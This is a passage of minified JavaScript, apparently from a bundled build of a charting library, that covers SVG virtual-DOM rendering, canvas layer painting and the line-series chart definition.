r=e.points,i=[],a=0;a<r.length;a++)i.push(ck(r[a][0]*n)/n),i.push(ck(r[a][1]*n)/n);t.points=i.join(` `)}function _k(e){return!e.smooth}function vk(e){var t=R(e,function(e){return typeof e==`string`?[e,e]:e});return function(e,n,r){for(var i=0;i<t.length;i++){var a=t[i],o=e[a[0]];o!=null&&(n[a[1]]=ck(o*r)/r)}}}var yk={circle:[vk([`cx`,`cy`,`r`])],polyline:[gk,_k],polygon:[gk,_k]};function bk(e){for(var t=e.animators,n=0;n<t.length;n++)if(t[n].targetName===`shape`)return!0;return!1}function xk(e,t){var n=e.style,r=e.shape,i=yk[e.type],a={},o=t.animation,s=`path`,c=e.style.strokePercent,l=t.compress&&aa(e)||4;if(i&&!t.willUpdate&&!(i[1]&&!i[1](r))&&!(o&&bk(e))&&!(c<1)){s=e.type;var u=10**l;i[0](r,a,u)}else{var d=!e.path||e.shapeChanged();e.path||e.createPathProxy();var f=e.path;d&&(f.beginPath(),e.buildPath(f,e.shape),e.pathUpdated());var p=f.getVersion(),m=e,h=m.__svgPathBuilder;(m.__svgPathVersion!==p||!h||c!==m.__svgPathStrokePercent)&&(h||=m.__svgPathBuilder=new OO,h.reset(l),f.rebuildPath(h,c),h.generateStr(),m.__svgPathVersion=p,m.__svgPathStrokePercent=c),a.d=h.getStr()}return hk(a,e.transform),dk(a,n,e,t),fk(a,e),t.animation&&ak(e,a,t),t.emphasis&&ok(e,a,t),HO(s,e.id+``,a)}function Sk(e,t){var n=e.style,r=n.image;if(r&&!H(r)&&(lk(r)?r=r.src:uk(r)&&(r=r.toDataURL())),r){var i=n.x||0,a=n.y||0,o=n.width,s=n.height,c={href:r,width:o,height:s};return i&&(c.x=i),a&&(c.y=a),hk(c,e.transform),dk(c,n,e,t),fk(c,e),t.animation&&ak(e,c,t),HO(`image`,e.id+``,c)}}function Ck(e,t){var n=e.style,r=n.text;if(r!=null&&(r+=``),!(!r||isNaN(n.x)||isNaN(n.y))){var i=n.font||`12px sans-serif`,a=n.x||0,o=Yi(n.y||0,Eo(i),n.textBaseline),s={"dominant-baseline":`central`,"text-anchor":Ji[n.textAlign]||n.textAlign};if(Ju(n)){var c=``,l=n.fontStyle,u=Ku(n.fontSize);if(!parseFloat(u))return;var d=n.fontFamily||`sans-serif`,f=n.fontWeight;c+=`font-size:`+u+`;font-family:`+d+`;`,l&&l!==`normal`&&(c+=`font-style:`+l+`;`),f&&f!==`normal`&&(c+=`font-weight:`+f+`;`),s.style=c}else s.style=`font: `+i;return r.match(/\s/)&&(s[`xml:space`]=`preserve`),a&&(s.x=a),o&&(s.y=o),hk(s,e.transform),dk(s,n,e,t),fk(s,e),t.animation&&ak(e,s,t),HO(`text`,e.id+``,s,void 0,r)}}function wk(e,t){if(e instanceof Cu)return xk(e,t);if(e instanceof ku)return Sk(e,t);if(e instanceof Tu)return Ck(e,t)}function Tk(e,t,n){var r=e.style;if(Xi(r)){var i=Zi(e),a=n.shadowCache,o=a[i];if(!o){var s=e.getGlobalScale(),c=s[0],l=s[1];if(!c||!l)return;var u=r.shadowOffsetX||0,d=r.shadowOffsetY||0,f=r.shadowBlur,p=Hi(r.shadowColor),m=p.opacity,h=p.color,g=f/2/c,_=f/2/l,v=g+` `+_;o=n.zrId+`-s`+ n.shadowIdx++,n.defs[o]=HO(`filter`,o,{id:o,x:`-100%`,y:`-100%`,width:`300%`,height:`300%`},[HO(`feDropShadow`,``,{dx:u/c,dy:d/l,stdDeviation:v,"flood-color":h,"flood-opacity":m})]),a[i]=o}t.filter=ia(o)}}function Ek(e,t,n,r){var i=e[n],a,o={gradientUnits:i.global?`userSpaceOnUse`:`objectBoundingBox`};if(ta(i))a=`linearGradient`,o.x1=i.x,o.y1=i.y,o.x2=i.x2,o.y2=i.y2;else if(na(i))a=`radialGradient`,o.cx=W(i.x,.5),o.cy=W(i.y,.5),o.r=W(i.r,.5);else return;for(var s=i.colorStops,c=[],l=0,u=s.length;l<u;++l){var d=Ki(s[l].offset)*100+`%`,f=s[l].color,p=Hi(f),m=p.color,h=p.opacity,g={offset:d};g[`stop-color`]=m,h<1&&(g[`stop-opacity`]=h),c.push(HO(`stop`,l+``,g))}var _=GO(HO(a,``,o,c)),v=r.gradientCache,y=v[_];y||(y=r.zrId+`-g`+ r.gradientIdx++,v[_]=y,o.id=y,r.defs[y]=HO(a,y,o,c)),t[n]=ia(y)}function Dk(e,t,n,r){var i=e.style[n],a=e.getBoundingRect(),o={},s=i.repeat,c=s===`no-repeat`,l=s===`repeat-x`,u=s===`repeat-y`,d;if(Qi(i)){var f=i.imageWidth,p=i.imageHeight,m=void 0,h=i.image;if(H(h)?m=h:lk(h)?m=h.src:uk(h)&&(m=h.toDataURL()),typeof Image>`u`){var g=`Image width/height must been given explictly in svg-ssr renderer.`;Dt(f,g),Dt(p,g)}else if(f==null||p==null){var _=function(e,t){if(e){var n=e.elm,r=f||t.width,i=p||t.height;e.tag===`pattern`&&(l?(i=1,r/=a.width):u&&(r=1,i/=a.height)),e.attrs.width=r,e.attrs.height=i,n&&(n.setAttribute(`width`,r),n.setAttribute(`height`,i))}},v=zc(m,null,e,function(e){c||_(S,e),_(d,e)});v&&v.width&&v.height&&(f||=v.width,p||=v.height)}d=HO(`image`,`img`,{href:m,width:f,height:p}),o.width=f,o.height=p}else i.svgElement&&(d=P(i.svgElement),o.width=i.svgWidth,o.height=i.svgHeight);if(d){var y,b;c?y=b=1:l?(b=1,y=o.width/a.width):u?(y=1,b=o.height/a.height):o.patternUnits=`userSpaceOnUse`,y!=null&&!isNaN(y)&&(o.width=y),b!=null&&!isNaN(b)&&(o.height=b);var x=oa(i);x&&(o.patternTransform=x);var S=HO(`pattern`,``,o,[d]),C=GO(S),w=r.patternCache,T=w[C];T||(T=r.zrId+`-p`+ r.patternIdx++,w[C]=T,o.id=T,S=r.defs[T]=HO(`pattern`,T,o,[d])),t[n]=ia(T)}}function Ok(e,t,n){var r=n.clipPathCache,i=n.defs,a=r[e.id];if(!a){a=n.zrId+`-c`+ n.clipPathIdx++;var o={id:a};r[e.id]=a,i[a]=HO(`clipPath`,a,o,[xk(e,n)])}t[`clip-path`]=ia(a)}function kk(e){return document.createTextNode(e)}function Ak(e,t,n){e.insertBefore(t,n)}function jk(e,t){e.removeChild(t)}function Mk(e,t){e.appendChild(t)}function Nk(e){return e.parentNode}function Pk(e){return e.nextSibling}function Fk(e,t){e.textContent=t}var Ik=58,Lk=120,Rk=HO(``,``);function zk(e){return e===void 0}function Bk(e){return e!==void 0}function Vk(e,t,n){for(var r={},i=t;i<=n;++i){var a=e[i].key;a!==void 0&&(r[a]=i)}return r}function Hk(e,t){var n=e.key===t.key;return e.tag===t.tag&&n}function Uk(e){var t,n=e.children,r=e.tag;if(Bk(r)){var i=e.elm=VO(r);if(Kk(Rk,e),B(n))for(t=0;t<n.length;++t){var a=n[t];a!=null&&Mk(i,Uk(a))}else Bk(e.text)&&!U(e.text)&&Mk(i,kk(e.text))}else e.elm=kk(e.text);return e.elm}function Wk(e,t,n,r,i){for(;r<=i;++r){var a=n[r];a!=null&&Ak(e,Uk(a),t)}}function Gk(e,t,n,r){for(;n<=r;++n){var i=t[n];i!=null&&(Bk(i.tag)?jk(Nk(i.elm),i.elm):jk(e,i.elm))}}function Kk(e,t){var n,r=t.elm,i=e&&e.attrs||{},a=t.attrs||{};if(i!==a){for(n in a){var o=a[n];i[n]!==o&&(o===!0?r.setAttribute(n,``):o===!1?r.removeAttribute(n):n===`style`?r.style.cssText=o:n.charCodeAt(0)===Lk?n===`xmlns:xlink`||n===`xmlns`?r.setAttributeNS(RO,n,o):n.charCodeAt(3)===Ik?r.setAttributeNS(zO,n,o):n.charCodeAt(5)===Ik?r.setAttributeNS(LO,n,o):r.setAttribute(n,o):r.setAttribute(n,o))}for(n in i)n in a||r.removeAttribute(n)}}function qk(e,t,n){for(var r=0,i=0,a=t.length-1,o=t[0],s=t[a],c=n.length-1,l=n[0],u=n[c],d,f,p,m;r<=a&&i<=c;)o==null?o=t[++r]:s==null?s=t[--a]:l==null?l=n[++i]:u==null?u=n[--c]:Hk(o,l)?(Jk(o,l),o=t[++r],l=n[++i]):Hk(s,u)?(Jk(s,u),s=t[--a],u=n[--c]):Hk(o,u)?(Jk(o,u),Ak(e,o.elm,Pk(s.elm)),o=t[++r],u=n[--c]):Hk(s,l)?(Jk(s,l),Ak(e,s.elm,o.elm),s=t[--a],l=n[++i]):(zk(d)&&(d=Vk(t,r,a)),f=d[l.key],zk(f)?Ak(e,Uk(l),o.elm):(p=t[f],p.tag===l.tag?(Jk(p,l),t[f]=void 0,Ak(e,p.elm,o.elm)):Ak(e,Uk(l),o.elm)),l=n[++i]);(r<=a||i<=c)&&(r>a?(m=n[c+1]==null?null:n[c+1].elm,Wk(e,m,n,i,c)):Gk(e,t,r,a))}function Jk(e,t){var n=t.elm=e.elm,r=e.children,i=t.children;e!==t&&(Kk(e,t),zk(t.text)?Bk(r)&&Bk(i)?r!==i&&qk(n,r,i):Bk(i)?(Bk(e.text)&&Fk(n,``),Wk(n,null,i,0,i.length-1)):Bk(r)?Gk(n,r,0,r.length-1):Bk(e.text)&&Fk(n,``):e.text!==t.text&&(Bk(r)&&Gk(n,r,0,r.length-1),Fk(n,t.text)))}function Yk(e,t){if(Hk(e,t))Jk(e,t);else{var n=e.elm,r=Nk(n);Uk(t),r!==null&&(Ak(r,t.elm,Pk(n)),Gk(r,[e],0,0))}return t}var Xk=0,Zk=function(){function e(e,t,n){if(this.type=`svg`,this.refreshHover=Qk(`refreshHover`),this.configLayer=Qk(`configLayer`),this.storage=t,this._opts=n=F({},n),this.root=e,this._id=`zr`+ Xk++,this._oldVNode=JO(n.width,n.height),e&&!n.ssr){var r=this._viewport=document.createElement(`div`);r.style.cssText=`position:relative;overflow:hidden`;var i=this._svgDom=this._oldVNode.elm=VO(`svg`);Kk(null,this._oldVNode),r.appendChild(i),e.appendChild(r)}this.resize(n.width,n.height)}return e.prototype.getType=function(){return this.type},e.prototype.getViewportRoot=function(){return this._viewport},e.prototype.getViewportRootOffset=function(){var e=this.getViewportRoot();if(e)return{offsetLeft:e.offsetLeft||0,offsetTop:e.offsetTop||0}},e.prototype.getSvgDom=function(){return this._svgDom},e.prototype.refresh=function(){if(this.root){var e=this.renderToVNode({willUpdate:!0});e.attrs.style=`position:absolute;left:0;top:0;user-select:none`,Yk(this._oldVNode,e),this._oldVNode=e}},e.prototype.renderOneToVNode=function(e){return wk(e,qO(this._id))},e.prototype.renderToVNode=function(e){e||={};var t=this.storage.getDisplayList(!0),n=this._width,r=this._height,i=qO(this._id);i.animation=e.animation,i.willUpdate=e.willUpdate,i.compress=e.compress,i.emphasis=e.emphasis,i.ssr=this._opts.ssr;var a=[],o=this._bgVNode=$k(n,r,this._backgroundColor,i);o&&a.push(o);var s=e.compress?null:this._mainVNode=HO(`g`,`main`,{},[]);this._paintList(t,i,s?s.children:a),s&&a.push(s);var c=R(dt(i.defs),function(e){return i.defs[e]});if(c.length&&a.push(HO(`defs`,`defs`,{},c)),e.animation){var l=KO(i.cssNodes,i.cssAnims,{newline:!0});if(l){var u=HO(`style`,`stl`,{},[],l);a.push(u)}}return JO(n,r,a,e.useViewBox)},e.prototype.renderToString=function(e){return e||={},GO(this.renderToVNode({animation:W(e.cssAnimation,!0),emphasis:W(e.cssEmphasis,!0),willUpdate:!1,compress:!0,useViewBox:W(e.useViewBox,!0)}),{newline:!0})},e.prototype.setBackgroundColor=function(e){this._backgroundColor=e},e.prototype.getSvgRoot=function(){return this._mainVNode&&this._mainVNode.elm},e.prototype._paintList=function(e,t,n){for(var r=e.length,i=[],a=0,o,s,c=0,l=0;l<r;l++){var u=e[l];if(!u.invisible){var d=u.__clipPaths,f=d&&d.length||0,p=s&&s.length||0,m=void 0;for(m=Math.max(f-1,p-1);m>=0&&!(d&&s&&d[m]===s[m]);m--);for(var h=p-1;h>m;h--)a--,o=i[a-1];for(var g=m+1;g<f;g++){var _={};Ok(d[g],_,t);var v=HO(`g`,`clip-g-`+ c++,_,[]);(o?o.children:n).push(v),i[a++]=v,o=v}s=d;var y=wk(u,t);y&&(o?o.children:n).push(y)}}},e.prototype.resize=function(e,t){var n=this._opts,r=this.root,i=this._viewport;if(e!=null&&(n.width=e),t!=null&&(n.height=t),r&&i&&(i.style.display=`none`,e=Yx(r,0,n),t=Yx(r,1,n),i.style.display=``),this._width!==e||this._height!==t){if(this._width=e,this._height=t,i){var a=i.style;a.width=e+`px`,a.height=t+`px`}if(ea(this._backgroundColor))this.refresh();else{var o=this._svgDom;o&&(o.setAttribute(`width`,e),o.setAttribute(`height`,t));var s=this._bgVNode&&this._bgVNode.elm;s&&(s.setAttribute(`width`,e),s.setAttribute(`height`,t))}}},e.prototype.getWidth=function(){return this._width},e.prototype.getHeight=function(){return this._height},e.prototype.dispose=function(){this.root&&(this.root.innerHTML=``),this._svgDom=this._viewport=this.storage=this._oldVNode=this._bgVNode=this._mainVNode=null},e.prototype.clear=function(){this._svgDom&&(this._svgDom.innerHTML=null),this._oldVNode=null},e.prototype.toDataURL=function(e){var t=this.renderToString(),n=`data:image/svg+xml;`;return e?(t=sa(t),t&&n+`base64,`+t):n+`charset=UTF-8,`+encodeURIComponent(t)},e}();function Qk(e){return function(){}}function $k(e,t,n,r){var i;if(n&&n!==`none`)if(i=HO(`rect`,`bg`,{width:e,height:t,x:`0`,y:`0`}),ra(n))Ek({fill:n},i.attrs,`fill`,r);else if(ea(n))Dk({style:{fill:n},dirty:zt,getBoundingRect:function(){return{width:e,height:t}}},i.attrs,`fill`,r);else{var a=Hi(n),o=a.color,s=a.opacity;i.attrs.fill=o,s<1&&(i.attrs[`fill-opacity`]=s)}return i}function eA(e){e.registerPainter(`svg`,Zk)}function tA(e,t,n){var r=Ve.createCanvas(),i=t.getWidth(),a=t.getHeight(),o=r.style;return o&&(o.position=`absolute`,o.left=`0`,o.top=`0`,o.width=i+`px`,o.height=a+`px`,r.setAttribute(`data-zr-dom-id`,e)),r.width=i*n,r.height=a*n,r}var nA=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;i.motionBlur=!1,i.lastFrameAlpha=.7,i.dpr=1,i.virtual=!1,i.config={},i.incremental=!1,i.zlevel=0,i.maxRepaintRectCount=5,i.__dirty=!0,i.__firstTimePaint=!0,i.__used=!1,i.__drawIndex=0,i.__startIndex=0,i.__endIndex=0,i.__prevStartIndex=null,i.__prevEndIndex=null;var a;r||=$a,typeof t==`string`?a=tA(t,n,r):U(t)&&(a=t,t=a.id),i.id=t,i.dom=a;var o=a.style;return o&&(Rt(a),a.onselectstart=function(){return!1},o.padding=`0`,o.margin=`0`,o.borderWidth=`0`),i.painter=n,i.dpr=r,i}return t.prototype.getElementCount=function(){return this.__endIndex-this.__startIndex},t.prototype.afterBrush=function(){this.__prevStartIndex=this.__startIndex,this.__prevEndIndex=this.__endIndex},t.prototype.initContext=function(){this.ctx=this.dom.getContext(`2d`),this.ctx.dpr=this.dpr},t.prototype.setUnpainted=function(){this.__firstTimePaint=!0},t.prototype.createBackBuffer=function(){var e=this.dpr;this.domBack=tA(`back-`+this.id,this.painter,e),this.ctxBack=this.domBack.getContext(`2d`),e!==1&&this.ctxBack.scale(e,e)},t.prototype.createRepaintRects=function(e,t,n,r){if(this.__firstTimePaint)return this.__firstTimePaint=!1,null;var i=[],a=this.maxRepaintRectCount,o=!1,s=new J(0,0,0,0);function c(e){if(!(!e.isFinite()||e.isZero()))if(i.length===0){var t=new J(0,0,0,0);t.copy(e),i.push(t)}else{for(var n=!1,r=1/0,c=0,l=0;l<i.length;++l){var u=i[l];if(u.intersect(e)){var d=new J(0,0,0,0);d.copy(u),d.union(e),i[l]=d,n=!0;break}else if(o){s.copy(e),s.union(u);var f=e.width*e.height,p=u.width*u.height,m=s.width*s.height-f-p;m<r&&(r=m,c=l)}}if(o&&(i[c].union(e),n=!0),!n){var t=new J(0,0,0,0);t.copy(e),i.push(t)}o||=i.length>=a}}for(var l=this.__startIndex;l<this.__endIndex;++l){var u=e[l];if(u){var d=u.shouldBePainted(n,r,!0,!0),f=u.__isRendered&&(u.__dirty&1||!d)?u.getPrevPaintRect():null;f&&c(f);var p=d&&(u.__dirty&1||!u.__isRendered)?u.getPaintRect():null;p&&c(p)}}for(var l=this.__prevStartIndex;l<this.__prevEndIndex;++l){var u=t[l],d=u&&u.shouldBePainted(n,r,!0,!0);if(u&&(!d||!u.__zr)&&u.__isRendered){var f=u.getPrevPaintRect();f&&c(f)}}var m;do{m=!1;for(var l=0;l<i.length;){if(i[l].isZero()){i.splice(l,1);continue}for(var h=l+1;h<i.length;)i[l].intersect(i[h])?(m=!0,i[l].union(i[h]),i.splice(h,1)):h++;l++}}while(m);return this._paintRects=i,i},t.prototype.debugGetPaintRects=function(){return(this._paintRects||[]).slice()},t.prototype.resize=function(e,t){var n=this.dpr,r=this.dom,i=r.style,a=this.domBack;i&&(i.width=e+`px`,i.height=t+`px`),r.width=e*n,r.height=t*n,a&&(a.width=e*n,a.height=t*n,n!==1&&this.ctxBack.scale(n,n))},t.prototype.clear=function(e,t,n){var r=this.dom,i=this.ctx,a=r.width,o=r.height;t||=this.clearColor;var s=this.motionBlur&&!e,c=this.lastFrameAlpha,l=this.dpr,u=this;s&&(this.domBack||this.createBackBuffer(),this.ctxBack.globalCompositeOperation=`copy`,this.ctxBack.drawImage(r,0,0,a/l,o/l));var d=this.domBack;function f(e,n,r,a){if(i.clearRect(e,n,r,a),t&&t!==`transparent`){var o=void 0;yt(t)?(o=(t.global||t.__width===r&&t.__height===a)&&t.__canvasGradient||Kx(i,t,{x:0,y:0,width:r,height:a}),t.__canvasGradient=o,t.__width=r,t.__height=a):bt(t)&&(t.scaleX=t.scaleX||l,t.scaleY=t.scaleY||l,o=iS(i,t,{dirty:function(){u.setUnpainted(),u.painter.refresh()}})),i.save(),i.fillStyle=o||t,i.fillRect(e,n,r,a),i.restore()}s&&(i.save(),i.globalAlpha=c,i.drawImage(d,e,n,r,a),i.restore())}!n||s?f(0,0,a,o):n.length&&L(n,function(e){f(e.x*l,e.y*l,e.width*l,e.height*l)})},t}(ln),rA=1e5,iA=314159,aA=.01,oA=.001;function sA(e){return e?e.__builtin__?!0:!(typeof e.resize!=`function`||typeof e.refresh!=`function`):!1}function cA(e,t){var n=document.createElement(`div`);return n.style.cssText=[`position:relative`,`width:`+e+`px`,`height:`+t+`px`,`padding:0`,`margin:0`,`border-width:0`].join(`;`)+`;`,n}var lA=function(){function e(e,t,n,r){this.type=`canvas`,this._zlevelList=[],this._prevDisplayList=[],this._layers={},this._layerConfig={},this._needsManuallyCompositing=!1,this.type=`canvas`;var i=!e.nodeName||e.nodeName.toUpperCase()===`CANVAS`;this._opts=n=F({},n||{}),this.dpr=n.devicePixelRatio||$a,this._singleCanvas=i,this.root=e,e.style&&(Rt(e),e.innerHTML=``),this.storage=t;var a=this._zlevelList;this._prevDisplayList=[];var o=this._layers;if(i){var s=e,c=s.width,l=s.height;n.width!=null&&(c=n.width),n.height!=null&&(l=n.height),this.dpr=n.devicePixelRatio||1,s.width=c*this.dpr,s.height=l*this.dpr,this._width=c,this._height=l;var u=new nA(s,this,this.dpr);u.__builtin__=!0,u.initContext(),o[iA]=u,u.zlevel=iA,a.push(iA),this._domRoot=e}else{this._width=Yx(e,0,n),this._height=Yx(e,1,n);var d=this._domRoot=cA(this._width,this._height);e.appendChild(d)}}return e.prototype.getType=function(){return`canvas`},e.prototype.isSingleCanvas=function(){return this._singleCanvas},e.prototype.getViewportRoot=function(){return this._domRoot},e.prototype.getViewportRootOffset=function(){var e=this.getViewportRoot();if(e)return{offsetLeft:e.offsetLeft||0,offsetTop:e.offsetTop||0}},e.prototype.refresh=function(e){var t=this.storage.getDisplayList(!0),n=this._prevDisplayList,r=this._zlevelList;this._redrawId=Math.random(),this._paintList(t,n,e,this._redrawId);for(var i=0;i<r.length;i++){var a=r[i],o=this._layers[a];if(!o.__builtin__&&o.refresh){var s=i===0?this._backgroundColor:null;o.refresh(s)}}return this._opts.useDirtyRect&&(this._prevDisplayList=t.slice()),this},e.prototype.refreshHover=function(){this._paintHoverList(this.storage.getDisplayList(!1))},e.prototype._paintHoverList=function(e){var t=e.length,n=this._hoverlayer;if(n&&n.clear(),t){for(var r={inHover:!0,viewWidth:this._width,viewHeight:this._height},i,a=0;a<t;a++){var o=e[a];o.__inHover&&(n||=this._hoverlayer=this.getLayer(rA),i||(i=n.ctx,i.save()),wS(i,o,r,a===t-1))}i&&i.restore()}},e.prototype.getHoverLayer=function(){return this.getLayer(rA)},e.prototype.paintOne=function(e,t){CS(e,t)},e.prototype._paintList=function(e,t,n,r){if(this._redrawId===r){n||=!1,this._updateLayerStatus(e);var i=this._doPaintList(e,t,n),a=i.finished,o=i.needsRefreshHover;if(this._needsManuallyCompositing&&this._compositeManually(),o&&this._paintHoverList(e),a)this.eachLayer(function(e){e.afterBrush&&e.afterBrush()});else{var s=this;Lr(function(){s._paintList(e,t,n,r)})}}},e.prototype._compositeManually=function(){var e=this.getLayer(iA).ctx,t=this._domRoot.width,n=this._domRoot.height;e.clearRect(0,0,t,n),this.eachBuiltinLayer(function(r){r.virtual&&e.drawImage(r.dom,0,0,t,n)})},e.prototype._doPaintList=function(e,t,n){for(var r=this,i=[],a=this._opts.useDirtyRect,o=0;o<this._zlevelList.length;o++){var s=this._zlevelList[o],c=this._layers[s];c.__builtin__&&c!==this._hoverlayer&&(c.__dirty||n)&&i.push(c)}for(var l=!0,u=!1,d=function(o){var s=i[o],c=s.ctx,d=a&&s.createRepaintRects(e,t,f._width,f._height),p=n?s.__startIndex:s.__drawIndex,m=!n&&s.incremental&&Date.now,h=m&&Date.now(),g=s.zlevel===f._zlevelList[0]?f._backgroundColor:null;if(s.__startIndex===s.__endIndex)s.clear(!1,g,d);else if(p===s.__startIndex){var _=e[p];(!_.incremental||!_.notClear||n)&&s.clear(!1,g,d)}p===-1&&(console.error(`For some unknown reason. drawIndex is -1`),p=s.__startIndex);var v,y=function(t){var n={inHover:!1,allClipped:!1,prevEl:null,viewWidth:r._width,viewHeight:r._height};for(v=p;v<s.__endIndex;v++){var i=e[v];if(i.__inHover&&(u=!0),r._doPaintEl(i,s,a,t,n,v===s.__endIndex-1),m&&Date.now()-h>15)break}n.prevElClipPaths&&c.restore()};if(d)if(d.length===0)v=s.__endIndex;else for(var b=f.dpr,x=0;x<d.length;++x){var S=d[x];c.save(),c.beginPath(),c.rect(S.x*b,S.y*b,S.width*b,S.height*b),c.clip(),y(S),c.restore()}else c.save(),y(),c.restore();s.__drawIndex=v,s.__drawIndex<s.__endIndex&&(l=!1)},f=this,p=0;p<i.length;p++)d(p);return Ne.wxa&&L(this._layers,function(e){e&&e.ctx&&e.ctx.draw&&e.ctx.draw()}),{finished:l,needsRefreshHover:u}},e.prototype._doPaintEl=function(e,t,n,r,i,a){var o=t.ctx;if(n){var s=e.getPaintRect();(!r||s&&s.intersect(r))&&(wS(o,e,i,a),e.setPrevPaintRect(s))}else wS(o,e,i,a)},e.prototype.getLayer=function(e,t){this._singleCanvas&&!this._needsManuallyCompositing&&(e=iA);var n=this._layers[e];return n||(n=new nA(`zr_`+e,this,this.dpr),n.zlevel=e,n.__builtin__=!0,this._layerConfig[e]?nt(n,this._layerConfig[e],!0):this._layerConfig[e-aA]&&nt(n,this._layerConfig[e-aA],!0),t&&(n.virtual=t),this.insertLayer(e,n),n.initContext()),n},e.prototype.insertLayer=function(e,t){var n=this._layers,r=this._zlevelList,i=r.length,a=this._domRoot,o=null,s=-1;if(!n[e]&&sA(t)){if(i>0&&e>r[0]){for(s=0;s<i-1&&!(r[s]<e&&r[s+1]>e);s++);o=n[r[s]]}if(r.splice(s+1,0,e),n[e]=t,!t.virtual)if(o){var c=o.dom;c.nextSibling?a.insertBefore(t.dom,c.nextSibling):a.appendChild(t.dom)}else a.firstChild?a.insertBefore(t.dom,a.firstChild):a.appendChild(t.dom);t.painter||=this}},e.prototype.eachLayer=function(e,t){for(var n=this._zlevelList,r=0;r<n.length;r++){var i=n[r];e.call(t,this._layers[i],i)}},e.prototype.eachBuiltinLayer=function(e,t){for(var n=this._zlevelList,r=0;r<n.length;r++){var i=n[r],a=this._layers[i];a.__builtin__&&e.call(t,a,i)}},e.prototype.eachOtherLayer=function(e,t){for(var n=this._zlevelList,r=0;r<n.length;r++){var i=n[r],a=this._layers[i];a.__builtin__||e.call(t,a,i)}},e.prototype.getLayers=function(){return this._layers},e.prototype._updateLayerStatus=function(e){this.eachBuiltinLayer(function(e,t){e.__dirty=e.__used=!1});function t(e){i&&(i.__endIndex!==e&&(i.__dirty=!0),i.__endIndex=e)}if(this._singleCanvas)for(var n=1;n<e.length;n++){var r=e[n];if(r.zlevel!==e[n-1].zlevel||r.incremental){this._needsManuallyCompositing=!0;break}}var i=null,a=0,o,s;for(s=0;s<e.length;s++){var r=e[s],c=r.zlevel,l=void 0;o!==c&&(o=c,a=0),r.incremental?(l=this.getLayer(c+oA,this._needsManuallyCompositing),l.incremental=!0,a=1):l=this.getLayer(c+(a>0?aA:0),this._needsManuallyCompositing),l.__builtin__||tt(`ZLevel `+c+` has been used by unkown layer `+l.id),l!==i&&(l.__used=!0,l.__startIndex!==s&&(l.__dirty=!0),l.__startIndex=s,l.incremental?l.__drawIndex=-1:l.__drawIndex=s,t(s),i=l),r.__dirty&1&&!r.__inHover&&(l.__dirty=!0,l.incremental&&l.__drawIndex<0&&(l.__drawIndex=s))}t(s),this.eachBuiltinLayer(function(e,t){!e.__used&&e.getElementCount()>0&&(e.__dirty=!0,e.__startIndex=e.__endIndex=e.__drawIndex=0),e.__dirty&&e.__drawIndex<0&&(e.__drawIndex=e.__startIndex)})},e.prototype.clear=function(){return this.eachBuiltinLayer(this._clearLayer),this},e.prototype._clearLayer=function(e){e.clear()},e.prototype.setBackgroundColor=function(e){this._backgroundColor=e,L(this._layers,function(e){e.setUnpainted()})},e.prototype.configLayer=function(e,t){if(t){var n=this._layerConfig;n[e]?nt(n[e],t,!0):n[e]=t;for(var r=0;r<this._zlevelList.length;r++){var i=this._zlevelList[r];if(i===e||i===e+aA){var a=this._layers[i];nt(a,n[e],!0)}}}},e.prototype.delLayer=function(e){var t=this._layers,n=this._zlevelList,r=t[e];r&&(r.dom.parentNode.removeChild(r.dom),delete t[e],n.splice(it(n,e),1))},e.prototype.resize=function(e,t){if(this._domRoot.style){var n=this._domRoot;n.style.display=`none`;var r=this._opts,i=this.root;if(e!=null&&(r.width=e),t!=null&&(r.height=t),e=Yx(i,0,r),t=Yx(i,1,r),n.style.display=``,this._width!==e||t!==this._height){for(var a in n.style.width=e+`px`,n.style.height=t+`px`,this._layers)this._layers.hasOwnProperty(a)&&this._layers[a].resize(e,t);this.refresh(!0)}this._width=e,this._height=t}else{if(e==null||t==null)return;this._width=e,this._height=t,this.getLayer(iA).resize(e,t)}return this},e.prototype.clearLayer=function(e){var t=this._layers[e];t&&t.clear()},e.prototype.dispose=function(){this.root.innerHTML=``,this.root=this.storage=this._domRoot=this._layers=null},e.prototype.getRenderedCanvas=function(e){if(e||={},this._singleCanvas&&!this._compositeManually)return this._layers[iA].dom;var t=new nA(`image`,this,e.pixelRatio||this.dpr);t.initContext(),t.clear(!1,e.backgroundColor||this._backgroundColor);var n=t.ctx;if(e.pixelRatio<=this.dpr){this.refresh();var r=t.dom.width,i=t.dom.height;this.eachLayer(function(e){e.__builtin__?n.drawImage(e.dom,0,0,r,i):e.renderToCanvas&&(n.save(),e.renderToCanvas(n),n.restore())})}else for(var a={inHover:!1,viewWidth:this._width,viewHeight:this._height},o=this.storage.getDisplayList(!0),s=0,c=o.length;s<c;s++){var l=o[s];wS(n,l,a,s===c-1)}return t.dom},e.prototype.getWidth=function(){return this._width},e.prototype.getHeight=function(){return this._height},e}();function uA(e){e.registerPainter(`canvas`,lA)}var dA=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n}return t.prototype.getInitialData=function(e){return fT(null,this,{useEncodeDefaulter:!0})},t.prototype.getLegendIcon=function(e){var t=new Y,n=Bx(`line`,0,e.itemHeight/2,e.itemWidth,0,e.lineStyle.stroke,!1);t.add(n),n.setStyle(e.lineStyle);var r=this.getData().getVisual(`symbol`),i=this.getData().getVisual(`symbolRotate`),a=r===`none`?`circle`:r,o=e.itemHeight*.8,s=Bx(a,(e.itemWidth-o)/2,(e.itemHeight-o)/2,o,o,e.itemStyle.fill);return t.add(s),s.setStyle(e.itemStyle),s.rotation=(e.iconRotate===`inherit`?i:e.iconRotate||0)*Math.PI/180,s.setOrigin([e.itemWidth/2,e.itemHeight/2]),a.indexOf(`empty`)>-1&&(s.style.stroke=s.style.fill,s.style.fill=Q.color.neutral00,s.style.lineWidth=2),t},t.type=`series.line`,t.dependencies=[`grid`,`polar`],t.defaultOption={z:3,coordinateSystem:`cartesian2d`,legendHoverLink:!0,clip:!0,label:{position:`top`},endLabel:{show:!1,valueAnimation:!0,distance:8},lineStyle:{width:2,type:`solid`},emphasis:{scale:!0},step:!1,smooth:!1,smoothMonotone:null,symbol:`emptyCircle`,symbolSize:6,symbolRotate:null,showSymbol:!0,showAllSymbol:`auto`,connectNulls:!1,sampling:`none`,animationEasing:`linear`,progressive:0,hoverLayerThreshold:1/0,universalTransition:{divideShape:`clone`},triggerLineEvent:!1},t}(_b);function fA(e,t){var n=e.mapDimensionsAll(`defaultedLabel`),r=n.length;if(r===1){var i=ry(e,t,n[0]);return i==null?null:i+``}else if(r){for(var a=[],o=0;o<n.length;o++)a.push(ry(e,t,n[o]));return a.join(` `)}}function pA(e,t){var 